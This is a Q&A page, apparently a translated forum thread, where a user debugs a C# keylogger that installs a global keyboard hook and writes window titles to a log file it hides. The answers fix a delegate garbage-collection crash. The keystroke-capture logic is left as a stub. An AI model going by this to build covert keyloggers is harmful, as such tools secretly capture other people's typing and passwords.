Сбой программы Keylogger - PullRequest
       8

Сбой программы Keylogger

1 голос
/ 11 февраля 2012

Я работал над клавиатурным шпионом в C #, окнами, и я застрял в какой-то момент. Когда я запускаю свой код, он работает нормально и записывает 20-25 нажатий клавиш, но после этого программа неожиданноаварийно завершает работу, и это сообщения об ошибках, показанные: (первое полностью меня сбивает с толку)

1.Обратный вызов был выполнен для делегата типа «karan_keylogger! karan_keylogger.Form1 + LowLevelKeyboardProc :: Invoke».Это может вызвать сбои приложения, повреждение и потерю данных.При передаче делегатов в неуправляемый код управляемое приложение должно поддерживать их работу до тех пор, пока не будет гарантировано, что они никогда не будут вызваны.

2. Затем отображается «Ссылка на объект не установлена ​​для экземпляра объекта.(Я знаком с этим)

Код выглядит следующим образом:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:\\data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

Любая помощь будет очень признательна, это любимый проект! ..

Ответы [ 2 ]

4 голосов
/ 11 февраля 2012

Как говорится в сообщении об ошибке, неуправляемый код не будет поддерживать управляемые ресурсы.Вы создаете локальную переменную keyhook и передаете ее в SetWindowHookEx (то есть в неуправляемый код).

Затем вы выходите из конструктора, переменная keyhook выходит из области видимости из кода вашеготочка зрения, что на нее больше нет ссылок, а это значит, что она готова к сборке мусора.Но неуправляемый код будет продолжать использовать его.Когда включается сборщик мусора, делегат теряется, и вы получите сообщение об ошибке.

Просто объявите свой делегат как член класса, а не как локальную переменную.

private LowLevelKeyboardProc keyhook;
2 голосов
/ 11 февраля 2012

Сделайте keyhook членом вашей формы вместо локальной переменной в конструкторе

public partial class Form1: Form      
{ 
   LowLevelKeyboardProc keyhook;

   public Form1()
   {
       keyhook = new LowLevelKeyboardProc(detect);
   }

}
...